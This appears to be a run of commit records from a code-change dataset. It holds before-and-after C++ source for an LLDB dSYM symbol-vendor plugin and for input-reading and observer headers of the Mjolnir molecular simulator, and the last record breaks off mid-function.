*\nSymbolVendorMacOSX::GetPluginDescriptionStatic()\n{\n return \"Symbol vendor for MacOSX that looks for dSYM files that match executables.\";\n}\n\n\n\n\/\/----------------------------------------------------------------------\n\/\/ CreateInstance\n\/\/\n\/\/ Platforms can register a callback to use when creating symbol\n\/\/ vendors to allow for complex debug information file setups, and to\n\/\/ also allow for finding separate debug information files.\n\/\/----------------------------------------------------------------------\nSymbolVendor*\nSymbolVendorMacOSX::CreateInstance (const lldb::ModuleSP &module_sp, lldb_private::Stream *feedback_strm)\n{\n if (!module_sp)\n return NULL;\n\n ObjectFile * obj_file = module_sp->GetObjectFile();\n if (!obj_file)\n return NULL;\n \n static ConstString obj_file_macho(\"mach-o\");\n ConstString obj_name = obj_file->GetPluginName();\n if (obj_name != obj_file_macho)\n return NULL;\n\n Timer scoped_timer (__PRETTY_FUNCTION__,\n \"SymbolVendorMacOSX::CreateInstance (module = %s)\",\n module_sp->GetFileSpec().GetPath().c_str());\n SymbolVendorMacOSX* symbol_vendor = new SymbolVendorMacOSX(module_sp);\n if (symbol_vendor)\n {\n char path[PATH_MAX];\n path[0] = '\\0';\n\n \/\/ Try and locate the dSYM file on Mac OS X\n Timer scoped_timer2 (\"SymbolVendorMacOSX::CreateInstance () locate dSYM\",\n \"SymbolVendorMacOSX::CreateInstance (module = %s) locate dSYM\",\n module_sp->GetFileSpec().GetPath().c_str());\n\n \/\/ First check to see if the module has a symbol file in mind already.\n \/\/ If it does, then we MUST use that.\n FileSpec dsym_fspec (module_sp->GetSymbolFileFileSpec());\n \n ObjectFileSP dsym_objfile_sp;\n if (!dsym_fspec)\n {\n \/\/ No symbol file was specified in the module, lets try and find\n \/\/ one ourselves.\n FileSpec file_spec = obj_file->GetFileSpec();\n if (!file_spec)\n file_spec = module_sp->GetFileSpec();\n \n ModuleSpec module_spec(file_spec, module_sp->GetArchitecture());\n module_spec.GetUUID() = module_sp->GetUUID();\n dsym_fspec = Symbols::LocateExecutableSymbolFile (module_spec);\n if (module_spec.GetSourceMappingList().GetSize())\n module_sp->GetSourceMappingList().Append (module_spec.GetSourceMappingList (), true);\n }\n \n if (dsym_fspec)\n {\n DataBufferSP dsym_file_data_sp;\n lldb::offset_t dsym_file_data_offset = 0;\n dsym_objfile_sp = ObjectFile::FindPlugin(module_sp, &dsym_fspec, 0, dsym_fspec.GetByteSize(), dsym_file_data_sp, dsym_file_data_offset);\n if (UUIDsMatch(module_sp.get(), dsym_objfile_sp.get(), feedback_strm))\n {\n \/\/ We need a XML parser if we hope to parse a plist...\n if (XMLDocument::XMLEnabled())\n {\n char dsym_path[PATH_MAX];\n if (module_sp->GetSourceMappingList().IsEmpty() && dsym_fspec.GetPath(dsym_path, sizeof(dsym_path)))\n {\n lldb_private::UUID dsym_uuid;\n if (dsym_objfile_sp->GetUUID(&dsym_uuid))\n {\n std::string uuid_str = dsym_uuid.GetAsString ();\n if (!uuid_str.empty())\n {\n char *resources = strstr (dsym_path, \"\/Contents\/Resources\/\");\n if (resources)\n {\n char dsym_uuid_plist_path[PATH_MAX];\n resources[strlen(\"\/Contents\/Resources\/\")] = '\\0';\n snprintf(dsym_uuid_plist_path, sizeof(dsym_uuid_plist_path), \"%s%s.plist\", dsym_path, uuid_str.c_str());\n FileSpec dsym_uuid_plist_spec(dsym_uuid_plist_path, false);\n if (dsym_uuid_plist_spec.Exists())\n {\n ApplePropertyList plist(dsym_uuid_plist_path);\n if (plist)\n {\n std::string DBGBuildSourcePath;\n std::string DBGSourcePath;\n \n plist.GetValueAsString(\"DBGBuildSourcePath\", DBGBuildSourcePath);\n plist.GetValueAsString(\"DBGSourcePath\", DBGSourcePath);\n if (DBGBuildSourcePath[0] && DBGSourcePath[0])\n {\n module_sp->GetSourceMappingList().Append (ConstString(DBGBuildSourcePath), ConstString(DBGSourcePath), true);\n }\n }\n }\n }\n }\n }\n }\n }\n\n symbol_vendor->AddSymbolFileRepresentation(dsym_objfile_sp);\n return symbol_vendor;\n }\n }\n\n \/\/ Just create our symbol vendor using the current objfile as this is either\n \/\/ an executable with no dSYM (that we could locate), an executable with\n \/\/ a dSYM that has a UUID that doesn't match.\n symbol_vendor->AddSymbolFileRepresentation(obj_file->shared_from_this());\n }\n return symbol_vendor;\n}\n\n\n\n\/\/------------------------------------------------------------------\n\/\/ PluginInterface protocol\n\/\/------------------------------------------------------------------\nConstString\nSymbolVendorMacOSX::GetPluginName()\n{\n return GetPluginNameStatic();\n}\n\nuint32_t\nSymbolVendorMacOSX::GetPluginVersion()\n{\n return 1;\n}\n\n<commit_msg>Fix some logic where we used to have char arrays, but we now use std::string. Use the correctly API to detect if they are not empty.<commit_after>\/\/===-- SymbolVendorMacOSX.cpp ----------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"SymbolVendorMacOSX.h\"\n\n#include <string.h>\n\n#include \"lldb\/Core\/Module.h\"\n#include \"lldb\/Core\/ModuleSpec.h\"\n#include \"lldb\/Core\/PluginManager.h\"\n#include \"lldb\/Core\/Section.h\"\n#include \"lldb\/Core\/StreamString.h\"\n#include \"lldb\/Core\/Timer.h\"\n#include \"lldb\/Host\/Host.h\"\n#include \"lldb\/Host\/Symbols.h\"\n#include \"lldb\/Host\/XML.h\"\n#include \"lldb\/Symbol\/ObjectFile.h\"\n\nusing namespace lldb;\nusing namespace lldb_private;\n\n\/\/----------------------------------------------------------------------\n\/\/ SymbolVendorMacOSX constructor\n\/\/----------------------------------------------------------------------\nSymbolVendorMacOSX::SymbolVendorMacOSX(const lldb::ModuleSP &module_sp) :\n SymbolVendor (module_sp)\n{\n}\n\n\/\/----------------------------------------------------------------------\n\/\/ Destructor\n\/\/----------------------------------------------------------------------\nSymbolVendorMacOSX::~SymbolVendorMacOSX()\n{\n}\n\n\nstatic bool\nUUIDsMatch(Module *module, ObjectFile *ofile, lldb_private::Stream *feedback_strm)\n{\n if (module && ofile)\n {\n \/\/ Make sure the UUIDs match\n lldb_private::UUID dsym_uuid;\n\n if (!ofile->GetUUID(&dsym_uuid))\n {\n if (feedback_strm)\n {\n feedback_strm->PutCString(\"warning: failed to get the uuid for object file: '\");\n ofile->GetFileSpec().Dump(feedback_strm);\n feedback_strm->PutCString(\"\\n\");\n }\n return false;\n }\n\n if (dsym_uuid == module->GetUUID())\n return true;\n\n \/\/ Emit some warning messages since the UUIDs do not match!\n if (feedback_strm)\n {\n feedback_strm->PutCString(\"warning: UUID mismatch detected between modules:\\n \");\n module->GetUUID().Dump(feedback_strm);\n feedback_strm->PutChar(' ');\n module->GetFileSpec().Dump(feedback_strm);\n feedback_strm->PutCString(\"\\n \");\n dsym_uuid.Dump(feedback_strm);\n feedback_strm->PutChar(' ');\n ofile->GetFileSpec().Dump(feedback_strm);\n feedback_strm->EOL();\n }\n }\n return false;\n}\n\nvoid\nSymbolVendorMacOSX::Initialize()\n{\n PluginManager::RegisterPlugin (GetPluginNameStatic(),\n GetPluginDescriptionStatic(),\n CreateInstance);\n}\n\nvoid\nSymbolVendorMacOSX::Terminate()\n{\n PluginManager::UnregisterPlugin (CreateInstance);\n}\n\n\nlldb_private::ConstString\nSymbolVendorMacOSX::GetPluginNameStatic()\n{\n static ConstString g_name(\"macosx\");\n return g_name;\n}\n\nconst char *\nSymbolVendorMacOSX::GetPluginDescriptionStatic()\n{\n return \"Symbol vendor for MacOSX that looks for dSYM files that match executables.\";\n}\n\n\n\n\/\/----------------------------------------------------------------------\n\/\/ CreateInstance\n\/\/\n\/\/ Platforms can register a callback to use when creating symbol\n\/\/ vendors to allow for complex debug information file setups, and to\n\/\/ also allow for finding separate debug information files.\n\/\/----------------------------------------------------------------------\nSymbolVendor*\nSymbolVendorMacOSX::CreateInstance (const lldb::ModuleSP &module_sp, lldb_private::Stream *feedback_strm)\n{\n if (!module_sp)\n return NULL;\n\n ObjectFile * obj_file = module_sp->GetObjectFile();\n if (!obj_file)\n return NULL;\n \n static ConstString obj_file_macho(\"mach-o\");\n ConstString obj_name = obj_file->GetPluginName();\n if (obj_name != obj_file_macho)\n return NULL;\n\n Timer scoped_timer (__PRETTY_FUNCTION__,\n \"SymbolVendorMacOSX::CreateInstance (module = %s)\",\n module_sp->GetFileSpec().GetPath().c_str());\n SymbolVendorMacOSX* symbol_vendor = new SymbolVendorMacOSX(module_sp);\n if (symbol_vendor)\n {\n char path[PATH_MAX];\n path[0] = '\\0';\n\n \/\/ Try and locate the dSYM file on Mac OS X\n Timer scoped_timer2 (\"SymbolVendorMacOSX::CreateInstance () locate dSYM\",\n \"SymbolVendorMacOSX::CreateInstance (module = %s) locate dSYM\",\n module_sp->GetFileSpec().GetPath().c_str());\n\n \/\/ First check to see if the module has a symbol file in mind already.\n \/\/ If it does, then we MUST use that.\n FileSpec dsym_fspec (module_sp->GetSymbolFileFileSpec());\n \n ObjectFileSP dsym_objfile_sp;\n if (!dsym_fspec)\n {\n \/\/ No symbol file was specified in the module, lets try and find\n \/\/ one ourselves.\n FileSpec file_spec = obj_file->GetFileSpec();\n if (!file_spec)\n file_spec = module_sp->GetFileSpec();\n \n ModuleSpec module_spec(file_spec, module_sp->GetArchitecture());\n module_spec.GetUUID() = module_sp->GetUUID();\n dsym_fspec = Symbols::LocateExecutableSymbolFile (module_spec);\n if (module_spec.GetSourceMappingList().GetSize())\n module_sp->GetSourceMappingList().Append (module_spec.GetSourceMappingList (), true);\n }\n \n if (dsym_fspec)\n {\n DataBufferSP dsym_file_data_sp;\n lldb::offset_t dsym_file_data_offset = 0;\n dsym_objfile_sp = ObjectFile::FindPlugin(module_sp, &dsym_fspec, 0, dsym_fspec.GetByteSize(), dsym_file_data_sp, dsym_file_data_offset);\n if (UUIDsMatch(module_sp.get(), dsym_objfile_sp.get(), feedback_strm))\n {\n \/\/ We need a XML parser if we hope to parse a plist...\n if (XMLDocument::XMLEnabled())\n {\n char dsym_path[PATH_MAX];\n if (module_sp->GetSourceMappingList().IsEmpty() && dsym_fspec.GetPath(dsym_path, sizeof(dsym_path)))\n {\n lldb_private::UUID dsym_uuid;\n if (dsym_objfile_sp->GetUUID(&dsym_uuid))\n {\n std::string uuid_str = dsym_uuid.GetAsString ();\n if (!uuid_str.empty())\n {\n char *resources = strstr (dsym_path, \"\/Contents\/Resources\/\");\n if (resources)\n {\n char dsym_uuid_plist_path[PATH_MAX];\n resources[strlen(\"\/Contents\/Resources\/\")] = '\\0';\n snprintf(dsym_uuid_plist_path, sizeof(dsym_uuid_plist_path), \"%s%s.plist\", dsym_path, uuid_str.c_str());\n FileSpec dsym_uuid_plist_spec(dsym_uuid_plist_path, false);\n if (dsym_uuid_plist_spec.Exists())\n {\n ApplePropertyList plist(dsym_uuid_plist_path);\n if (plist)\n {\n std::string DBGBuildSourcePath;\n std::string DBGSourcePath;\n \n plist.GetValueAsString(\"DBGBuildSourcePath\", DBGBuildSourcePath);\n plist.GetValueAsString(\"DBGSourcePath\", DBGSourcePath);\n if (!DBGBuildSourcePath.empty() && !DBGSourcePath.empty())\n {\n module_sp->GetSourceMappingList().Append (ConstString(DBGBuildSourcePath), ConstString(DBGSourcePath), true);\n }\n }\n }\n }\n }\n }\n }\n }\n\n symbol_vendor->AddSymbolFileRepresentation(dsym_objfile_sp);\n return symbol_vendor;\n }\n }\n\n \/\/ Just create our symbol vendor using the current objfile as this is either\n \/\/ an executable with no dSYM (that we could locate), an executable with\n \/\/ a dSYM that has a UUID that doesn't match.\n symbol_vendor->AddSymbolFileRepresentation(obj_file->shared_from_this());\n }\n return symbol_vendor;\n}\n\n\n\n\/\/------------------------------------------------------------------\n\/\/ PluginInterface protocol\n\/\/------------------------------------------------------------------\nConstString\nSymbolVendorMacOSX::GetPluginName()\n{\n return GetPluginNameStatic();\n}\n\nuint32_t\nSymbolVendorMacOSX::GetPluginVersion()\n{\n return 1;\n}\n\n<|endoftext|>"} {"text":"<commit_before>#ifndef MJOLNIR_CORE_OBSERVER_CONTAINER_HPP\n#define MJOLNIR_CORE_OBSERVER_CONTAINER_HPP\n#include <mjolnir\/util\/io.hpp>\n#include <mjolnir\/util\/progress_bar.hpp>\n#include <mjolnir\/core\/ObserverBase.hpp>\n#include <vector>\n\n\/\/ This class manages several different XXXObservers to output\n\/\/ positions, energies, topologies, and others.\n\/\/\n\/\/ Also, this class outputs progress bar into stdout if the flag is on.\n\nnamespace mjolnir\n{\n\ntemplate<typename traitsT>\nclass ObserverContainer\n{\n public:\n using observer_base_type = ObserverBase<traitsT>;\n using observer_base_ptr = std::unique_ptr<observer_base_type>;\n using real_type = typename observer_base_type::real_type;\n using coordinate_type = typename observer_base_type::coordinate_type;\n using system_type = typename observer_base_type::system_type;\n using forcefield_type = typename observer_base_type::forcefield_type;\n using progress_bar_type = progress_bar<\/*width of bar = *\/50>;\n\n public:\n\n explicit ObserverContainer(bool output_progress = false)\n : output_progress_(output_progress && io::detail::isatty(std::cerr))\n {}\n ~ObserverContainer() = default;\n\n ObserverContainer(const ObserverContainer&) = default;\n ObserverContainer(ObserverContainer&&) = default;\n ObserverContainer& operator=(const ObserverContainer&) = default;\n ObserverContainer& operator=(ObserverContainer&&) = default;\n\n \/\/ open files, write header and so on.\n void initialize(const std::size_t total_step, const real_type dt,\n const system_type& sys, const forcefield_type& ff)\n {\n for(const auto& obs : observers_)\n {\n obs->initialize(total_step, dt, sys, ff);\n }\n\n this->progress_bar_.reset(total_step); \/\/ set total_step as 100%.\n }\n \/\/ call if system or forcefield is changed.\n void update(const std::size_t step, const real_type dt,\n const system_type& sys, const forcefield_type& ff)\n {\n for(const auto& obs : this->observers_)\n {\n obs->update(step, dt, sys, ff);\n }\n }\n \/\/ output the current state.\n void output(const std::size_t step, const real_type dt,\n const system_type& sys, const forcefield_type& ff)\n {\n for(const auto& obs : this->observers_)\n {\n obs->output(step, dt, sys, ff);\n }\n\n \/\/ this branching might be wiped out by introducing another parameter\n \/\/ to SimulatorTraits, but I don't think the cost of the implementation\n \/\/ is larger than the benefit on the runtime efficiency.\n if(this->output_progress_)\n {\n this->progress_bar_.format(step, std::cerr);\n }\n }\n \/\/ update header, or something that required to be finalized\n void finalize(const std::size_t total_step, const real_type dt,\n const system_type& sys, const forcefield_type& ff)\n {\n for(const auto& obs : this->observers_)\n {\n obs->finalize(total_step, dt, sys, ff);\n }\n\n if(this->output_progress_)\n {\n \/\/ In order to re-write progress bar in each step, it does not print\n \/\/ end-line after the progress bar. But if finalize is called, we\n \/\/ can `finalize` the progress bar.\n std::cerr << std::endl;\n }\n }\n\n \/\/ assign one another XXXObserver\n void push_back(observer_base_ptr&& obs)\n {\n this->observers_.push_back(std::move(obs));\n }\n\n \/\/ mainly for testing purpose.\n std::vector<observer_base_ptr> const& observers() const noexcept\n {\n return this->observers_;\n }\n\n private:\n std::vector<observer_base_ptr> observers_;\n progress_bar_type progress_bar_;\n bool output_progress_;\n};\n\n#ifdef MJOLNIR_SEPARATE_BUILD\nextern template class ObserverContainer<SimulatorTraits<double, UnlimitedBoundary> >;\nextern template class ObserverContainer<SimulatorTraits<float, UnlimitedBoundary> >;\nextern template class ObserverContainer<SimulatorTraits<double, CuboidalPeriodicBoundary>>;\nextern template class ObserverContainer<SimulatorTraits<float, CuboidalPeriodicBoundary>>;\n#endif\n\n} \/\/ mjolnir\n#endif\/\/ MJOLNIR_CORE_OBSERVER_HPP\n<commit_msg>feat: add prefix() to ObserverContainer<commit_after>#ifndef MJOLNIR_CORE_OBSERVER_CONTAINER_HPP\n#define MJOLNIR_CORE_OBSERVER_CONTAINER_HPP\n#include <mjolnir\/util\/io.hpp>\n#include <mjolnir\/util\/progress_bar.hpp>\n#include <mjolnir\/core\/ObserverBase.hpp>\n#include <vector>\n\n\/\/ This class manages several different XXXObservers to output\n\/\/ positions, energies, topologies, and others.\n\/\/\n\/\/ Also, this class outputs progress bar into stdout if the flag is on.\n\nnamespace mjolnir\n{\n\ntemplate<typename traitsT>\nclass ObserverContainer\n{\n public:\n using observer_base_type = ObserverBase<traitsT>;\n using observer_base_ptr = std::unique_ptr<observer_base_type>;\n using real_type = typename observer_base_type::real_type;\n using coordinate_type = typename observer_base_type::coordinate_type;\n using system_type = typename observer_base_type::system_type;\n using forcefield_type = typename observer_base_type::forcefield_type;\n using progress_bar_type = progress_bar<\/*width of bar = *\/50>;\n\n public:\n\n explicit ObserverContainer(bool output_progress = false)\n : output_progress_(output_progress && io::detail::isatty(std::cerr))\n {}\n ~ObserverContainer() = default;\n\n ObserverContainer(const ObserverContainer&) = default;\n ObserverContainer(ObserverContainer&&) = default;\n ObserverContainer& operator=(const ObserverContainer&) = default;\n ObserverContainer& operator=(ObserverContainer&&) = default;\n\n \/\/ open files, write header and so on.\n void initialize(const std::size_t total_step, const real_type dt,\n const system_type& sys, const forcefield_type& ff)\n {\n for(const auto& obs : observers_)\n {\n obs->initialize(total_step, dt, sys, ff);\n }\n\n this->progress_bar_.reset(total_step); \/\/ set total_step as 100%.\n }\n \/\/ call if system or forcefield is changed.\n void update(const std::size_t step, const real_type dt,\n const system_type& sys, const forcefield_type& ff)\n {\n for(const auto& obs : this->observers_)\n {\n obs->update(step, dt, sys, ff);\n }\n }\n \/\/ output the current state.\n void output(const std::size_t step, const real_type dt,\n const system_type& sys, const forcefield_type& ff)\n {\n for(const auto& obs : this->observers_)\n {\n obs->output(step, dt, sys, ff);\n }\n\n \/\/ this branching might be wiped out by introducing another parameter\n \/\/ to SimulatorTraits, but I don't think the cost of the implementation\n \/\/ is larger than the benefit on the runtime efficiency.\n if(this->output_progress_)\n {\n this->progress_bar_.format(step, std::cerr);\n }\n }\n \/\/ update header, or something that required to be finalized\n void finalize(const std::size_t total_step, const real_type dt,\n const system_type& sys, const forcefield_type& ff)\n {\n for(const auto& obs : this->observers_)\n {\n obs->finalize(total_step, dt, sys, ff);\n }\n\n if(this->output_progress_)\n {\n \/\/ In order to re-write progress bar in each step, it does not print\n \/\/ end-line after the progress bar. But if finalize is called, we\n \/\/ can `finalize` the progress bar.\n std::cerr << std::endl;\n }\n }\n\n std::string prefix() const\n {\n return observers_.front()->prefix();\n }\n\n \/\/ assign one another XXXObserver\n void push_back(observer_base_ptr&& obs)\n {\n this->observers_.push_back(std::move(obs));\n }\n\n \/\/ mainly for testing purpose.\n std::vector<observer_base_ptr> const& observers() const noexcept\n {\n return this->observers_;\n }\n\n private:\n std::vector<observer_base_ptr> observers_;\n progress_bar_type progress_bar_;\n bool output_progress_;\n};\n\n#ifdef MJOLNIR_SEPARATE_BUILD\nextern template class ObserverContainer<SimulatorTraits<double, UnlimitedBoundary> >;\nextern template class ObserverContainer<SimulatorTraits<float, UnlimitedBoundary> >;\nextern template class ObserverContainer<SimulatorTraits<double, CuboidalPeriodicBoundary>>;\nextern template class ObserverContainer<SimulatorTraits<float, CuboidalPeriodicBoundary>>;\n#endif\n\n} \/\/ mjolnir\n#endif\/\/ MJOLNIR_CORE_OBSERVER_HPP\n<|endoftext|>"} {"text":"<commit_before>#ifndef MJOLNIR_READ_INTERACTION\n#define MJOLNIR_READ_INTERACTION\n#include <extlib\/toml\/toml.hpp>\n#include <mjolnir\/core\/LocalInteractionBase.hpp>\n#include <mjolnir\/core\/BondLengthInteraction.hpp>\n#include <mjolnir\/core\/BondAngleInteraction.hpp>\n#include <mjolnir\/core\/DihedralAngleInteraction.hpp>\n#include <mjolnir\/core\/GlobalInteractionBase.hpp>\n#include <mjolnir\/core\/GlobalDistanceInteraction.hpp>\n#include <mjolnir\/core\/ZaxisExternalForceInteraction.hpp>\n#include <mjolnir\/util\/make_unique.hpp>\n#include <mjolnir\/util\/throw_exception.hpp>\n#include <mjolnir\/input\/get_toml_value.hpp>\n#include <mjolnir\/input\/read_potential.hpp>\n#include <mjolnir\/input\/read_spatial_partition.hpp>\n#include <memory>\n\nnamespace mjolnir\n{\n\n\/\/ ----------------------------------------------------------------------------\n\/\/ local interaction\n\/\/ ----------------------------------------------------------------------------\n\ntemplate<typename traitsT>\nstd::unique_ptr<LocalInteractionBase<traitsT>>\nread_bond_length_interaction(\n const typename LocalInteractionBase<traitsT>::connection_kind_type kind,\n const toml::Table& local)\n{\n const auto potential = toml::get<std::string>(\n toml_value_at(local, \"potential\", \"[forcefield.local]\"));\n\n if(potential == \"Harmonic\")\n {\n using potential_t = HarmonicPotential<traitsT>;\n\n return make_unique<BondLengthInteraction<traitsT, potential_t>>(\n kind, read_harmonic_potential<traitsT, 2>(local));\n }\n else if(potential == \"Go1012Contact\")\n {\n using potential_t = Go1012ContactPotential<traitsT>;\n\n return make_unique<BondLengthInteraction<traitsT, potential_t>>(\n kind, read_go1012_contact_potential<traitsT, 2>(local));\n }\n else if(potential == \"AICG2PlusAngle\")\n {\n using potential_t = GaussianPotential<traitsT>;\n\n return make_unique<BondLengthInteraction<traitsT, potential_t>>(\n kind, read_gaussian_potential<traitsT, 2>(local));\n }\n else\n {\n throw_exception<std::runtime_error>(\n \"invalid potential as BondLengthInteraction: \", potential);\n }\n}\n\ntemplate<typename traitsT>\nstd::unique_ptr<LocalInteractionBase<traitsT>>\nread_bond_angle_interaction(\n const typename LocalInteractionBase<traitsT>::connection_kind_type kind,\n const toml::Table& local)\n{\n const auto potential = toml::get<std::string>(\n toml_value_at(local, \"potential\", \"[[forcefield.local]]\"));\n if(potential == \"Harmonic\")\n {\n using potential_t = HarmonicPotential<traitsT>;\n\n return make_unique<BondAngleInteraction<traitsT, potential_t>>(\n kind, read_harmonic_potential<traitsT, 3>(local));\n }\n else if(potential == \"FlexibleLocalAngle\")\n {\n using potential_t = FlexibleLocalAnglePotential<traitsT>;\n\n return make_unique<BondAngleInteraction<traitsT, potential_t>>(\n kind, read_flexible_local_angle_potential<traitsT, 3>(local));\n }\n else\n {\n throw_exception<std::runtime_error>(\n \"invalid potential as BondAngleInteraction: \" + potential);\n }\n}\n\ntemplate<typename traitsT>\nstd::unique_ptr<LocalInteractionBase<traitsT>>\nread_dihedral_angle_interaction(\n const typename LocalInteractionBase<traitsT>::connection_kind_type kind,\n const toml::Table& local)\n{\n const auto potential = toml::get<std::string>(\n toml_value_at(local, \"potential\", \"[forcefield.local]\"));\n if(potential == \"Harmonic\")\n {\n using potential_t = HarmonicPotential<traitsT>;\n\n return make_unique<DihedralAngleInteraction<traitsT, potential_t>>(\n kind, read_harmonic_potential<traitsT, 4>(local));\n }\n else if(potential == \"ClementiDihedral\")\n {\n using potential_t = ClementiDihedralPotential<traitsT>;\n\n return make_unique<DihedralAngleInteraction<traitsT, potential_t>>(\n kind, read_clementi_dihedral_potential<traitsT, 4>(local));\n }\n else if(potential == \"AICG2PlusDihedral\")\n {\n using potential_t = GaussianPotential<traitsT>;\n\n return make_unique<DihedralAngleInteraction<traitsT, potential_t>>(\n kind, read_gaussian_potential<traitsT, 4>(local));\n }\n else if(potential == \"FlexibleLocalDihedral\")\n {\n using potential_t = FlexibleLocalDihedralPotential<traitsT>;\n\n return make_unique<DihedralAngleInteraction<traitsT, potential_t>>(\n kind, read_flexible_local_dihedral_potential<traitsT, 4>(local));\n }\n else\n {\n throw_exception<std::runtime_error>(\n \"invalid potential as DihedralAngleInteraction: \" + potential);\n }\n}\n\n\/\/ ----------------------------------------------------------------------------\n\/\/ global interaction\n\/\/ ----------------------------------------------------------------------------\n\ntemplate<typename traitsT, typename ignoreT>\nstd::unique_ptr<GlobalInteractionBase<traitsT>>\nread_global_distance_interaction(const toml::Table& global)\n{\n const auto potential = toml::get<std::string>(\n toml_value_at(global, \"potential\", \"[forcefield.local]\"));\n if(potential == \"ExcludedVolume\")\n {\n using potential_t = ExcludedVolumePotential<traitsT, ignoreT>;\n\n return read_spatial_partition_for_distance<traitsT, potential_t>(\n global, read_excluded_volume_potential<traitsT, ignoreT>(global));\n }\n else if(potential == \"DebyeHuckel\")\n {\n using potential_t = DebyeHuckelPotential<traitsT, ignoreT>;\n\n return read_spatial_partition_for_distance<traitsT, potential_t>(\n global, read_debye_huckel_potential<traitsT, ignoreT>(global));\n }\n else if(potential == \"LennardJones\")\n {\n using potential_t = LennardJonesPotential<traitsT, ignoreT>;\n\n return read_spatial_partition_for_distance<traitsT, potential_t>(\n global, read_lennard_jones_potential<traitsT, ignoreT>(global));\n }\n else\n {\n throw_exception<std::runtime_error>(\n \"invalid potential as GlobalDistanceInteraction: \" + potential);\n }\n}\n\ntemplate<typename traitsT>\nstd::unique_ptr<GlobalInteractionBase<traitsT>>\nread_zaxis_external_force_interaction(const toml::Table& global)\n{\n const auto potential = toml::get<std::string>(\n toml_value_at(global, \"potential\", \"[forcefield.local]\"));\n if(potential == \"ImplicitMembrane\")\n {\n return read_spatial_partition_for_implicit_membrane<\n traitsT, ImplicitMembranePotential<traitsT>>(\n global, read_implicit_membrane_potential<traitsT>(global));\n }\n else\n {\n throw std::runtime_error(\"invalid distance potential: \" + potential);\n }\n}\n\n\/\/ ----------------------------------------------------------------------------\n\/\/ general read_(local|global)_interaction function\n\/\/ ----------------------------------------------------------------------------\n\ntemplate<typename traitsT>\nstd::unique_ptr<LocalInteractionBase<traitsT>>\nread_local_interaction(const toml::Table& local)\n{\n const auto interaction = toml::get<std::string>(\n toml_value_at(local, \"interaction\", \"[forcefields.local]\"));\n\n \/\/ topology stuff\n using connection_kind_type =\n typename LocalInteractionBase<traitsT>::connection_kind_type;\n const auto connection = toml::get<std::string>(\n toml_value_at(local, \"topology\", \"[forcefield.local]\"));\n\n connection_kind_type kind;\n if (connection == \"bond\") {kind = connection_kind_type::bond;}\n else if(connection == \"contact\") {kind = connection_kind_type::contact;}\n else if(connection == \"none\") {kind = connection_kind_type::none;}\n else {throw std::runtime_error(\"invalid connection type: \" + connection);}\n\n if(interaction == \"BondLength\")\n {\n return read_bond_length_interaction<traitsT>(kind, local);\n }\n else if(interaction == \"BondAngle\")\n {\n return read_bond_angle_interaction<traitsT>(kind, local);\n }\n else if(interaction == \"DihedralAngle\")\n {\n return read_dihedral_angle_interaction<traitsT>(kind, local);\n }\n else\n {\n throw std::runtime_error(\n \"invalid local interaction type: \" + interaction);\n }\n}\n\ntemplate<typename traitsT>\nstd::unique_ptr<GlobalInteractionBase<traitsT>>\nread_global_interaction(const toml::Table& global)\n{\n const auto interaction = toml::get<std::string>(\n toml_value_at(global, \"interaction\", \"[forcefields.global]\"));\n const auto ignored_chain = toml::get<std::string>(\n toml_value_at(global, \"ignored_chain\", \"[forcefields.global]\"));\n\n if(interaction == \"Distance\")\n {\n if(ignored_chain == \"Nothing\")\n {\n return read_global_distance_interaction<traitsT, IgnoreNothing>(global);\n }\n else if(ignored_chain == \"Self\")\n {\n return read_global_distance_interaction<traitsT, IgnoreSelf>(global);\n }\n else if(ignored_chain == \"Others\")\n {\n return read_global_distance_interaction<traitsT, IgnoreOthers>(global);\n }\n else\n {\n throw std::runtime_error(\"invalid `ignored_chain`: \" + ignored_chain);\n }\n }\n else if(interaction == \"External\")\n {\n return read_zaxis_external_force_interaction<traitsT>(global);\n }\n else\n {\n throw std::runtime_error(\n \"invalid global interaction type: \" + interaction);\n }\n}\n\n} \/\/ mjolnir\n#endif\/\/ MJOLNIR_READ_INTERACTION\n<commit_msg>add read_external interaction and shape<commit_after>#ifndef MJOLNIR_READ_INTERACTION\n#define MJOLNIR_READ_INTERACTION\n#include <extlib\/toml\/toml.hpp>\n#include <mjolnir\/core\/BondLengthInteraction.hpp>\n#include <mjolnir\/core\/BondAngleInteraction.hpp>\n#include <mjolnir\/core\/DihedralAngleInteraction.hpp>\n#include <mjolnir\/core\/GlobalDistanceInteraction.hpp>\n#include <mjolnir\/core\/AxisAlignedPlane.hpp>\n#include <mjolnir\/core\/ExternalDistanceInteraction.hpp>\n#include <mjolnir\/util\/make_unique.hpp>\n#include <mjolnir\/util\/throw_exception.hpp>\n#include <mjolnir\/input\/get_toml_value.hpp>\n#include <mjolnir\/input\/read_potential.hpp>\n#include <mjolnir\/input\/read_spatial_partition.hpp>\n#include <memory>\n\nnamespace mjolnir\n{\n\n\/\/ ----------------------------------------------------------------------------\n\/\/ local interaction\n\/\/ ----------------------------------------------------------------------------\n\ntemplate<typename traitsT>\nstd::unique_ptr<LocalInteractionBase<traitsT>>\nread_bond_length_interaction(\n const typename LocalInteractionBase<traitsT>::connection_kind_type kind,\n const toml::Table& local)\n{\n const auto potential = toml::get<std::string>(\n toml_value_at(local, \"potential\", \"[forcefield.local]\"));\n\n if(potential == \"Harmonic\")\n {\n using potential_t = HarmonicPotential<traitsT>;\n\n return make_unique<BondLengthInteraction<traitsT, potential_t>>(\n kind, read_harmonic_potential<traitsT, 2>(local));\n }\n else if(potential == \"Go1012Contact\")\n {\n using potential_t = Go1012ContactPotential<traitsT>;\n\n return make_unique<BondLengthInteraction<traitsT, potential_t>>(\n kind, read_go1012_contact_potential<traitsT, 2>(local));\n }\n else if(potential == \"AICG2PlusAngle\")\n {\n using potential_t = GaussianPotential<traitsT>;\n\n return make_unique<BondLengthInteraction<traitsT, potential_t>>(\n kind, read_gaussian_potential<traitsT, 2>(local));\n }\n else\n {\n throw_exception<std::runtime_error>(\n \"invalid potential as BondLengthInteraction: \", potential);\n }\n}\n\ntemplate<typename traitsT>\nstd::unique_ptr<LocalInteractionBase<traitsT>>\nread_bond_angle_interaction(\n const typename LocalInteractionBase<traitsT>::connection_kind_type kind,\n const toml::Table& local)\n{\n const auto potential = toml::get<std::string>(\n toml_value_at(local, \"potential\", \"[[forcefield.local]]\"));\n if(potential == \"Harmonic\")\n {\n using potential_t = HarmonicPotential<traitsT>;\n\n return make_unique<BondAngleInteraction<traitsT, potential_t>>(\n kind, 